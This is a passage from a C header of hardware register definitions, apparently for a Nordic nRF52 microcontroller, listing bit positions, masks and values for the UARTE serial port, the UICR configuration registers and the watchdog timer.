#define UARTE_INTENSET_NCTS_Msk (0x1UL << UARTE_INTENSET_NCTS_Pos) /*!< Bit mask of NCTS field. */
#define UARTE_INTENSET_NCTS_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_NCTS_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_NCTS_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for CTS event */
#define UARTE_INTENSET_CTS_Pos (0UL) /*!< Position of CTS field. */
#define UARTE_INTENSET_CTS_Msk (0x1UL << UARTE_INTENSET_CTS_Pos) /*!< Bit mask of CTS field. */
#define UARTE_INTENSET_CTS_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_CTS_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_CTS_Set (1UL) /*!< Enable */
/* Register: UARTE_INTENCLR */
/* Description: Disable interrupt */
/* Bit 22 : Write '1' to Disable interrupt for TXSTOPPED event */
#define UARTE_INTENCLR_TXSTOPPED_Pos (22UL) /*!< Position of TXSTOPPED field. */
#define UARTE_INTENCLR_TXSTOPPED_Msk (0x1UL << UARTE_INTENCLR_TXSTOPPED_Pos) /*!< Bit mask of TXSTOPPED field. */
#define UARTE_INTENCLR_TXSTOPPED_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_TXSTOPPED_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_TXSTOPPED_Clear (1UL) /*!< Disable */
/* Bit 20 : Write '1' to Disable interrupt for TXSTARTED event */
#define UARTE_INTENCLR_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define UARTE_INTENCLR_TXSTARTED_Msk (0x1UL << UARTE_INTENCLR_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define UARTE_INTENCLR_TXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_TXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_TXSTARTED_Clear (1UL) /*!< Disable */
/* Bit 19 : Write '1' to Disable interrupt for RXSTARTED event */
#define UARTE_INTENCLR_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define UARTE_INTENCLR_RXSTARTED_Msk (0x1UL << UARTE_INTENCLR_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define UARTE_INTENCLR_RXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_RXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_RXSTARTED_Clear (1UL) /*!< Disable */
/* Bit 17 : Write '1' to Disable interrupt for RXTO event */
#define UARTE_INTENCLR_RXTO_Pos (17UL) /*!< Position of RXTO field. */
#define UARTE_INTENCLR_RXTO_Msk (0x1UL << UARTE_INTENCLR_RXTO_Pos) /*!< Bit mask of RXTO field. */
#define UARTE_INTENCLR_RXTO_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_RXTO_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_RXTO_Clear (1UL) /*!< Disable */
/* Bit 9 : Write '1' to Disable interrupt for ERROR event */
#define UARTE_INTENCLR_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define UARTE_INTENCLR_ERROR_Msk (0x1UL << UARTE_INTENCLR_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define UARTE_INTENCLR_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_ERROR_Clear (1UL) /*!< Disable */
/* Bit 8 : Write '1' to Disable interrupt for ENDTX event */
#define UARTE_INTENCLR_ENDTX_Pos (8UL) /*!< Position of ENDTX field. */
#define UARTE_INTENCLR_ENDTX_Msk (0x1UL << UARTE_INTENCLR_ENDTX_Pos) /*!< Bit mask of ENDTX field. */
#define UARTE_INTENCLR_ENDTX_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_ENDTX_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_ENDTX_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable interrupt for TXDRDY event */
#define UARTE_INTENCLR_TXDRDY_Pos (7UL) /*!< Position of TXDRDY field. */
#define UARTE_INTENCLR_TXDRDY_Msk (0x1UL << UARTE_INTENCLR_TXDRDY_Pos) /*!< Bit mask of TXDRDY field. */
#define UARTE_INTENCLR_TXDRDY_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_TXDRDY_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_TXDRDY_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for ENDRX event */
#define UARTE_INTENCLR_ENDRX_Pos (4UL) /*!< Position of ENDRX field. */
#define UARTE_INTENCLR_ENDRX_Msk (0x1UL << UARTE_INTENCLR_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define UARTE_INTENCLR_ENDRX_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_ENDRX_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_ENDRX_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for RXDRDY event */
#define UARTE_INTENCLR_RXDRDY_Pos (2UL) /*!< Position of RXDRDY field. */
#define UARTE_INTENCLR_RXDRDY_Msk (0x1UL << UARTE_INTENCLR_RXDRDY_Pos) /*!< Bit mask of RXDRDY field. */
#define UARTE_INTENCLR_RXDRDY_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_RXDRDY_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_RXDRDY_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for NCTS event */
#define UARTE_INTENCLR_NCTS_Pos (1UL) /*!< Position of NCTS field. */
#define UARTE_INTENCLR_NCTS_Msk (0x1UL << UARTE_INTENCLR_NCTS_Pos) /*!< Bit mask of NCTS field. */
#define UARTE_INTENCLR_NCTS_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_NCTS_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_NCTS_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for CTS event */
#define UARTE_INTENCLR_CTS_Pos (0UL) /*!< Position of CTS field. */
#define UARTE_INTENCLR_CTS_Msk (0x1UL << UARTE_INTENCLR_CTS_Pos) /*!< Bit mask of CTS field. */
#define UARTE_INTENCLR_CTS_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENCLR_CTS_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENCLR_CTS_Clear (1UL) /*!< Disable */
/* Register: UARTE_ERRORSRC */
/* Description: Error source */
/* Bit 3 : Break condition */
#define UARTE_ERRORSRC_BREAK_Pos (3UL) /*!< Position of BREAK field. */
#define UARTE_ERRORSRC_BREAK_Msk (0x1UL << UARTE_ERRORSRC_BREAK_Pos) /*!< Bit mask of BREAK field. */
#define UARTE_ERRORSRC_BREAK_NotPresent (0UL) /*!< Read: error not present */
#define UARTE_ERRORSRC_BREAK_Present (1UL) /*!< Read: error present */
/* Bit 2 : Framing error occurred */
#define UARTE_ERRORSRC_FRAMING_Pos (2UL) /*!< Position of FRAMING field. */
#define UARTE_ERRORSRC_FRAMING_Msk (0x1UL << UARTE_ERRORSRC_FRAMING_Pos) /*!< Bit mask of FRAMING field. */
#define UARTE_ERRORSRC_FRAMING_NotPresent (0UL) /*!< Read: error not present */
#define UARTE_ERRORSRC_FRAMING_Present (1UL) /*!< Read: error present */
/* Bit 1 : Parity error */
#define UARTE_ERRORSRC_PARITY_Pos (1UL) /*!< Position of PARITY field. */
#define UARTE_ERRORSRC_PARITY_Msk (0x1UL << UARTE_ERRORSRC_PARITY_Pos) /*!< Bit mask of PARITY field. */
#define UARTE_ERRORSRC_PARITY_NotPresent (0UL) /*!< Read: error not present */
#define UARTE_ERRORSRC_PARITY_Present (1UL) /*!< Read: error present */
/* Bit 0 : Overrun error */
#define UARTE_ERRORSRC_OVERRUN_Pos (0UL) /*!< Position of OVERRUN field. */
#define UARTE_ERRORSRC_OVERRUN_Msk (0x1UL << UARTE_ERRORSRC_OVERRUN_Pos) /*!< Bit mask of OVERRUN field. */
#define UARTE_ERRORSRC_OVERRUN_NotPresent (0UL) /*!< Read: error not present */
#define UARTE_ERRORSRC_OVERRUN_Present (1UL) /*!< Read: error present */
/* Register: UARTE_ENABLE */
/* Description: Enable UART */
/* Bits 3..0 : Enable or disable UARTE */
#define UARTE_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define UARTE_ENABLE_ENABLE_Msk (0xFUL << UARTE_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define UARTE_ENABLE_ENABLE_Disabled (0UL) /*!< Disable UARTE */
#define UARTE_ENABLE_ENABLE_Enabled (8UL) /*!< Enable UARTE */
/* Register: UARTE_PSEL_RTS */
/* Description: Pin select for RTS signal */
/* Bit 31 : Connection */
#define UARTE_PSEL_RTS_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define UARTE_PSEL_RTS_CONNECT_Msk (0x1UL << UARTE_PSEL_RTS_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define UARTE_PSEL_RTS_CONNECT_Connected (0UL) /*!< Connect */
#define UARTE_PSEL_RTS_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define UARTE_PSEL_RTS_PIN_Pos (0UL) /*!< Position of PIN field. */
#define UARTE_PSEL_RTS_PIN_Msk (0x1FUL << UARTE_PSEL_RTS_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: UARTE_PSEL_TXD */
/* Description: Pin select for TXD signal */
/* Bit 31 : Connection */
#define UARTE_PSEL_TXD_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define UARTE_PSEL_TXD_CONNECT_Msk (0x1UL << UARTE_PSEL_TXD_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define UARTE_PSEL_TXD_CONNECT_Connected (0UL) /*!< Connect */
#define UARTE_PSEL_TXD_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define UARTE_PSEL_TXD_PIN_Pos (0UL) /*!< Position of PIN field. */
#define UARTE_PSEL_TXD_PIN_Msk (0x1FUL << UARTE_PSEL_TXD_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: UARTE_PSEL_CTS */
/* Description: Pin select for CTS signal */
/* Bit 31 : Connection */
#define UARTE_PSEL_CTS_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define UARTE_PSEL_CTS_CONNECT_Msk (0x1UL << UARTE_PSEL_CTS_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define UARTE_PSEL_CTS_CONNECT_Connected (0UL) /*!< Connect */
#define UARTE_PSEL_CTS_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define UARTE_PSEL_CTS_PIN_Pos (0UL) /*!< Position of PIN field. */
#define UARTE_PSEL_CTS_PIN_Msk (0x1FUL << UARTE_PSEL_CTS_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: UARTE_PSEL_RXD */
/* Description: Pin select for RXD signal */
/* Bit 31 : Connection */
#define UARTE_PSEL_RXD_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define UARTE_PSEL_RXD_CONNECT_Msk (0x1UL << UARTE_PSEL_RXD_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define UARTE_PSEL_RXD_CONNECT_Connected (0UL) /*!< Connect */
#define UARTE_PSEL_RXD_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define UARTE_PSEL_RXD_PIN_Pos (0UL) /*!< Position of PIN field. */
#define UARTE_PSEL_RXD_PIN_Msk (0x1FUL << UARTE_PSEL_RXD_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: UARTE_BAUDRATE */
/* Description: Baud rate. Accuracy depends on the HFCLK source selected. */
/* Bits 31..0 : Baud rate */
#define UARTE_BAUDRATE_BAUDRATE_Pos (0UL) /*!< Position of BAUDRATE field. */
#define UARTE_BAUDRATE_BAUDRATE_Msk (0xFFFFFFFFUL << UARTE_BAUDRATE_BAUDRATE_Pos) /*!< Bit mask of BAUDRATE field. */
#define UARTE_BAUDRATE_BAUDRATE_Baud1200 (0x0004F000UL) /*!< 1200 baud (actual rate: 1205) */
#define UARTE_BAUDRATE_BAUDRATE_Baud2400 (0x0009D000UL) /*!< 2400 baud (actual rate: 2396) */
#define UARTE_BAUDRATE_BAUDRATE_Baud4800 (0x0013B000UL) /*!< 4800 baud (actual rate: 4808) */
#define UARTE_BAUDRATE_BAUDRATE_Baud9600 (0x00275000UL) /*!< 9600 baud (actual rate: 9598) */
#define UARTE_BAUDRATE_BAUDRATE_Baud14400 (0x003AF000UL) /*!< 14400 baud (actual rate: 14401) */
#define UARTE_BAUDRATE_BAUDRATE_Baud19200 (0x004EA000UL) /*!< 19200 baud (actual rate: 19208) */
#define UARTE_BAUDRATE_BAUDRATE_Baud28800 (0x0075C000UL) /*!< 28800 baud (actual rate: 28777) */
#define UARTE_BAUDRATE_BAUDRATE_Baud38400 (0x009D0000UL) /*!< 38400 baud (actual rate: 38369) */
#define UARTE_BAUDRATE_BAUDRATE_Baud57600 (0x00EB0000UL) /*!< 57600 baud (actual rate: 57554) */
#define UARTE_BAUDRATE_BAUDRATE_Baud76800 (0x013A9000UL) /*!< 76800 baud (actual rate: 76923) */
#define UARTE_BAUDRATE_BAUDRATE_Baud115200 (0x01D60000UL) /*!< 115200 baud (actual rate: 115108) */
#define UARTE_BAUDRATE_BAUDRATE_Baud230400 (0x03B00000UL) /*!< 230400 baud (actual rate: 231884) */
#define UARTE_BAUDRATE_BAUDRATE_Baud250000 (0x04000000UL) /*!< 250000 baud */
#define UARTE_BAUDRATE_BAUDRATE_Baud460800 (0x07400000UL) /*!< 460800 baud (actual rate: 457143) */
#define UARTE_BAUDRATE_BAUDRATE_Baud921600 (0x0F000000UL) /*!< 921600 baud (actual rate: 941176) */
#define UARTE_BAUDRATE_BAUDRATE_Baud1M (0x10000000UL) /*!< 1Mega baud */
/* Register: UARTE_RXD_PTR */
/* Description: Data pointer */
/* Bits 31..0 : Data pointer */
#define UARTE_RXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define UARTE_RXD_PTR_PTR_Msk (0xFFFFFFFFUL << UARTE_RXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: UARTE_RXD_MAXCNT */
/* Description: Maximum number of bytes in receive buffer */
/* Bits 7..0 : Maximum number of bytes in receive buffer */
#define UARTE_RXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define UARTE_RXD_MAXCNT_MAXCNT_Msk (0xFFUL << UARTE_RXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: UARTE_RXD_AMOUNT */
/* Description: Number of bytes transferred in the last transaction */
/* Bits 7..0 : Number of bytes transferred in the last transaction */
#define UARTE_RXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define UARTE_RXD_AMOUNT_AMOUNT_Msk (0xFFUL << UARTE_RXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: UARTE_TXD_PTR */
/* Description: Data pointer */
/* Bits 31..0 : Data pointer */
#define UARTE_TXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define UARTE_TXD_PTR_PTR_Msk (0xFFFFFFFFUL << UARTE_TXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: UARTE_TXD_MAXCNT */
/* Description: Maximum number of bytes in transmit buffer */
/* Bits 7..0 : Maximum number of bytes in transmit buffer */
#define UARTE_TXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define UARTE_TXD_MAXCNT_MAXCNT_Msk (0xFFUL << UARTE_TXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: UARTE_TXD_AMOUNT */
/* Description: Number of bytes transferred in the last transaction */
/* Bits 7..0 : Number of bytes transferred in the last transaction */
#define UARTE_TXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define UARTE_TXD_AMOUNT_AMOUNT_Msk (0xFFUL << UARTE_TXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: UARTE_CONFIG */
/* Description: Configuration of parity and hardware flow control */
/* Bits 3..1 : Parity */
#define UARTE_CONFIG_PARITY_Pos (1UL) /*!< Position of PARITY field. */
#define UARTE_CONFIG_PARITY_Msk (0x7UL << UARTE_CONFIG_PARITY_Pos) /*!< Bit mask of PARITY field. */
#define UARTE_CONFIG_PARITY_Excluded (0x0UL) /*!< Exclude parity bit */
#define UARTE_CONFIG_PARITY_Included (0x7UL) /*!< Include parity bit */
/* Bit 0 : Hardware flow control */
#define UARTE_CONFIG_HWFC_Pos (0UL) /*!< Position of HWFC field. */
#define UARTE_CONFIG_HWFC_Msk (0x1UL << UARTE_CONFIG_HWFC_Pos) /*!< Bit mask of HWFC field. */
#define UARTE_CONFIG_HWFC_Disabled (0UL) /*!< Disabled */
#define UARTE_CONFIG_HWFC_Enabled (1UL) /*!< Enabled */
/* Peripheral: UICR */
/* Description: User Information Configuration Registers */
/* Register: UICR_NRFFW */
/* Description: Description collection[0]: Reserved for Nordic firmware design */
/* Bits 31..0 : Reserved for Nordic firmware design */
#define UICR_NRFFW_NRFFW_Pos (0UL) /*!< Position of NRFFW field. */
#define UICR_NRFFW_NRFFW_Msk (0xFFFFFFFFUL << UICR_NRFFW_NRFFW_Pos) /*!< Bit mask of NRFFW field. */
/* Register: UICR_NRFHW */
/* Description: Description collection[0]: Reserved for Nordic hardware design */
/* Bits 31..0 : Reserved for Nordic hardware design */
#define UICR_NRFHW_NRFHW_Pos (0UL) /*!< Position of NRFHW field. */
#define UICR_NRFHW_NRFHW_Msk (0xFFFFFFFFUL << UICR_NRFHW_NRFHW_Pos) /*!< Bit mask of NRFHW field. */
/* Register: UICR_CUSTOMER */
/* Description: Description collection[0]: Reserved for customer */
/* Bits 31..0 : Reserved for customer */
#define UICR_CUSTOMER_CUSTOMER_Pos (0UL) /*!< Position of CUSTOMER field. */
#define UICR_CUSTOMER_CUSTOMER_Msk (0xFFFFFFFFUL << UICR_CUSTOMER_CUSTOMER_Pos) /*!< Bit mask of CUSTOMER field. */
/* Register: UICR_PSELRESET */
/* Description: Description collection[0]: Mapping of the nRESET function (see POWER chapter for details) */
/* Bit 31 : Connection */
#define UICR_PSELRESET_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define UICR_PSELRESET_CONNECT_Msk (0x1UL << UICR_PSELRESET_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define UICR_PSELRESET_CONNECT_Connected (0UL) /*!< Connect */
#define UICR_PSELRESET_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : GPIO number P0.n onto which Reset is exposed */
#define UICR_PSELRESET_PIN_Pos (0UL) /*!< Position of PIN field. */
#define UICR_PSELRESET_PIN_Msk (0x1FUL << UICR_PSELRESET_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: UICR_APPROTECT */
/* Description: Access Port protection */
/* Bits 7..0 : Enable or disable Access Port protection. Any other value than 0xFF being written to this field will enable protection. */
#define UICR_APPROTECT_PALL_Pos (0UL) /*!< Position of PALL field. */
#define UICR_APPROTECT_PALL_Msk (0xFFUL << UICR_APPROTECT_PALL_Pos) /*!< Bit mask of PALL field. */
#define UICR_APPROTECT_PALL_Enabled (0x00UL) /*!< Enable */
#define UICR_APPROTECT_PALL_Disabled (0xFFUL) /*!< Disable */
/* Register: UICR_NFCPINS */
/* Description: Setting of pins dedicated to NFC functionality: NFC antenna or GPIO */
/* Bit 0 : Setting of pins dedicated to NFC functionality */
#define UICR_NFCPINS_PROTECT_Pos (0UL) /*!< Position of PROTECT field. */
#define UICR_NFCPINS_PROTECT_Msk (0x1UL << UICR_NFCPINS_PROTECT_Pos) /*!< Bit mask of PROTECT field. */
#define UICR_NFCPINS_PROTECT_Disabled (0UL) /*!< Operation as GPIO pins. Same protection as normal GPIO pins */
#define UICR_NFCPINS_PROTECT_NFC (1UL) /*!< Operation as NFC antenna pins. Configures the protection for NFC operation */
/* Peripheral: WDT */
/* Description: Watchdog Timer */
/* Register: WDT_INTENSET */
/* Description: Enable interrupt */
/* Bit 0 : Write '1' to Enable interrupt for TIMEOUT event */
#define WDT_INTENSET_TIMEOUT_Pos (0UL) /*!< Position of TIMEOUT field. */
#define WDT_INTENSET_TIMEOUT_Msk (0x1UL << WDT_INTENSET_TIMEOUT_Pos) /*!< Bit mask of TIMEOUT field. */
#define WDT_INTENSET_TIMEOUT_Disabled (0UL) /*!< Read: Disabled */
#define WDT_INTENSET_TIMEOUT_Enabled (1UL) /*!< Read: Enabled */
#define WDT_INTENSET_TIMEOUT_Set (1UL) /*!< Enable */
/* Register: WDT_INTENCLR */
/* Description: Disable interrupt */
/* Bit 0 : Write '1' to Disable interrupt for TIMEOUT event */
#define WDT_INTENCLR_TIMEOUT_Pos (0UL) /*!< Position of TIMEOUT field. */
#define WDT_INTENCLR_TIMEOUT_Msk (0x1UL << WDT_INTENCLR_TIMEOUT_Pos) /*!< Bit mask of TIMEOUT field. */
#define WDT_INTENCLR_TIMEOUT_Disabled (0UL) /*!< Read: Disabled */
#define WDT_INTENCLR_TIMEOUT_Enabled (1UL) /*!< Read: Enabled */
#define WDT_INTENCLR_TIMEOUT_Clear (1UL) /*!< Disable */
/* Register: WDT_RUNSTATUS */
/* Description: Run status */
/* Bit 0 : Indicates whether or not the watchdog is running */
#define WDT_RUNSTATUS_RUNSTATUS_Pos (0UL) /*!< Position of RUNSTATUS field. */
#define WDT_RUNSTATUS_RUNSTATUS_Msk (0x1UL << WDT_RUNSTATUS_RUNSTATUS_Pos) /*!< Bit mask of RUNSTATUS field. */
#define WDT_RUNSTATUS_RUNSTATUS_NotRunning (0UL) /*!< Watchdog not running */
#define WDT_RUNSTATUS_RUNSTATUS_Running (1UL) /*!< Watchdog is running */
/* Register: WDT_REQSTATUS */
/* Description: Request status */
/* Bit 7 : Request status for RR[7] register */
#define WDT_REQSTATUS_RR7_Pos (7UL) /*!< Position of RR7 field. */
#define WDT_REQSTATUS_RR7_Msk (0x1UL << WDT_REQSTATUS_RR7_Pos) /*!< Bit mask of RR7 field. */
#define WDT_REQSTATUS_RR7_DisabledOrRequested (0UL) /*!< RR[7] register is not enabled, or are already requesting reload */
#define WDT_REQSTATUS_RR7_EnabledAndUnrequested (1UL) /*!< RR[7] register is enabled, and are not yet requesting reload */
/* Bit 6 : Request status for RR[6] register */
#define WDT_REQSTATUS_RR6_Pos (6UL) /*!< Position of RR6 field. */
#define WDT_REQSTATUS_RR6_Msk (0x1UL << WDT_REQSTATUS_RR6_Pos) /*!< Bit mask of RR6 field. */
#define WDT_REQSTATUS_RR6_DisabledOrRequested (0UL) /*!< RR[6] register is not enabled, or are already requesting reload */
#define WDT_REQSTATUS_RR6_EnabledAndUnrequested (1UL) /*!< RR[6] register is enabled, and are not yet requesting reload */
/* Bit 5 : Request status for RR[5] register */
#define WDT_REQSTATUS_RR5_Pos (5UL) /*!< Position of RR5 field. */
#define WDT_REQSTATUS_RR5_Msk (0x1UL << WDT_REQSTATUS_RR5_Pos) /*!< Bit mask of RR5 field. */
#define WDT_REQSTATUS_RR5_DisabledOrRequested (0UL) /*!< RR[5] register is not enabled, or are already requesting reload */
#define WDT_REQSTATUS_RR5_EnabledAndUnrequested (1UL) /*!< RR[5] register is enabled, and are not yet requesting reload */
/* Bit 4 : Request status for RR[4] register */
#define WDT_REQSTATUS_RR4_Pos (4UL) /*!< Position of RR4 field. */
#define WDT_REQSTATUS_RR4_Msk (0x1UL << WDT_REQSTATUS_RR4_Pos) /*!< Bit mask of RR4 field. */
#define WDT_REQSTATUS_RR4_DisabledOrRequested (0UL) /*!< RR[4] register is not enabled, or are already requesting reload */
#define WDT_REQSTATUS_RR4_EnabledAndUnrequested (1UL) /*!< RR[4] register is enabled, and are not yet requesting reload */
/* Bit 3 : Request status for RR[3] register */
#define WDT_REQSTATUS_RR3_Pos (3UL) /*!< Position of RR3 field. */
#define WDT_REQSTATUS_RR3_Msk (0x1UL << WDT_REQSTATUS_RR3_Pos) /*!< Bit mask of RR3 field. */
#define WDT_REQSTATUS_RR3_DisabledOrRequested (0UL) /*!< RR[3] register is not enabled, or are already requesting reload */
#define WDT_REQSTATUS_RR3_EnabledAndUnrequested (1UL) /*!< RR[3] register is enabled, and are not yet requesting reload */
/* Bit 2 : Request status for RR[2] register */
#define WDT_REQSTATUS_RR2_Pos (2UL) /*!< Position of RR2 field. */
#define WDT_REQSTATUS_RR2_Msk (0x1UL << WDT_REQSTATUS_RR2_Pos) /*!< Bit mask of RR2 field. */
#define WDT_REQSTATUS_RR2_DisabledOrRequested (0UL) /*!< RR[2] register is not enabled, or are already requesting reload */
#define WDT_REQSTATUS_RR2_EnabledAndUnrequested (1UL) /*!< RR[2] register is enabled, and are not yet requesting reload */
/* Bit 1 : Request status for RR[1] register */
#define WDT_REQSTATUS_RR1_Pos (1UL) /*!< Position of RR1 field. */
#define WDT_REQSTATUS_RR1_Msk (0x1UL << WDT_REQSTATUS_RR1_Pos) /*!< Bit mask of RR1 field. */
#define WDT_REQSTATUS_RR1_DisabledOrRequested (0UL) /*!< RR[1] register is not enabled, or are already requesting reload */
#define WDT_REQSTATUS_RR1_EnabledAndUnrequested (1UL) /*!< RR[1] register is enabled, and are not yet requesting reload */
/* Bit 0 : Request status for RR[0] register */
#define WDT_REQSTATUS_RR0_Pos (0UL) /*!< Position of RR0 field. */
#define WDT_REQSTATUS_RR0_Msk (0x1UL << WDT_REQSTATUS_RR0_Pos) /*!< Bit mask of RR0 field. */
#define WDT_REQSTATUS_RR0_DisabledOrRequested (0UL) /*!< RR[0] register is not enabled, or are already requesting reload */
#define WDT_REQSTATUS_RR0_EnabledAndUnrequested (1UL) /*!< RR[0] register is enabled, and are not yet requesting reload */
/* Register: WDT_CRV */
/* Description: Counter reload value */
/* Bits 31..0 : Counter reload value in number of cycles of the 32.768 kHz clock */
#define WDT_CRV_CRV_Pos (0UL) /*!< Position of CRV field. */
#define WDT_CRV_CRV_Msk (0xFFFFFFFFUL << WDT_CRV_CRV_Pos) /*!< Bit mask of CRV field. */
/* Register: WDT_RREN */
/* Description: Enable register for reload request registers */
/* Bit 7 : Enable or disable RR[7] register */
#define WDT_RREN_RR7_Pos (7UL) /*!< Position of RR7 field. */
#define WDT_RREN_RR7_Msk (0x1UL << WDT_RREN_RR7_Pos) /*!< Bit mask of RR7 field. */
#define WDT_RREN_RR7_Disabled (0UL) /*!< Disable RR[7] register */
#define WDT_RREN_RR7_Enabled (1UL) /*!< Enable RR[7] register */
/* Bit 6 : Enable or disable RR[6] register */
#define WDT_RREN_RR6_Pos (6UL) /*!< Position of RR6 field. */
#define WDT_RREN_RR6_Msk (0x1UL << WDT_RREN_RR6_Pos) /*!< Bit mask of RR6 field. */
#define WDT_RREN_RR6_Disabled (0UL) /*!< Disable RR[6] register */
#define WDT_RREN_RR6_Enabled (1UL) /*!< Enable RR[6] register */
/* Bit 5 : Enable or disable RR[5] register */
#define WDT_RREN_RR5_Pos (5UL) /*!< Position of RR5 field. */
#define WDT_RREN_RR5_Msk (0x1UL << WDT_RREN_RR5_Pos) /*!< Bit mask of RR5 field. */
#define WDT_RREN_RR5_Disabled (0UL) /*!< Disable RR[5] register */
#define WDT_RREN_RR5_Enabled (1UL) /*!< Enable RR[5] register */
/* Bit 4 : Enable or disable RR[4] register */
#define WDT_RREN_RR4_Pos (4UL) /*!< Position of RR4 field. */
#define WDT_RREN_RR4_Msk (0x1UL << WDT_RREN_RR4_Pos) /*!< Bit mask of RR4 field. */
#define WDT_RREN_RR4_Disabled (0UL) /*!< Disable RR[4] register */
#define WDT_RREN_RR4_Enabled (1UL) /*!< Enable RR[4] register */
/* Bit 3 : Enable or disable RR[3] register */
#define WDT_RREN_RR3_Pos (3UL) /*!< Position of RR3 field. */
#define WDT_RREN_RR3_Msk (0x1UL << WDT_RREN_RR3_Pos) /*!< Bit mask of RR3 field. */
#define WDT_RREN_RR3_Disabled (0UL) /*!< Disable RR[3] register */
#define WDT_RREN_RR3_Enabled (1UL) /*!< Enable RR[3] register */
/* Bit 2 : Enable or disable RR[2] register */
#define WDT_RREN_RR2_Pos (2UL) /*!< Position of RR2 field. */
#define WDT_RREN_RR2_Msk (0x1UL << WDT_RREN_RR2_Pos) /*!< Bit mask of RR2 field. */
#define WDT_RREN_RR2_Disabled (0UL) /*!< Disable RR[2] register */
#define WDT_RREN_RR2_Enabled (1UL) /*!< Enable RR[2] register */
/* Bit 1 : Enable or disable RR[1] register */
#define WDT_RREN_RR1_Pos (1UL) /*!< Position of RR1 field. */
#define WDT_RREN_RR1_Msk (0x1UL << WDT_RREN_RR1_Pos) /*!< Bit mask of RR1 field. */
#define WDT_RREN_RR1_Disabled (0UL) /*!< Disable RR[1] register */
#define WDT_RREN_RR1_Enabled (1UL) /*!< Enable RR[1] register */
/* Bit 0 : Enable or disable RR[0] register */
#define WDT_RREN_RR0_Pos (0UL) /*!< Position of RR0 field. */
#define WDT_RREN_RR0_Msk (0x1UL << WDT_RREN_RR0_Pos) /*!< Bit mask of RR0 field. */
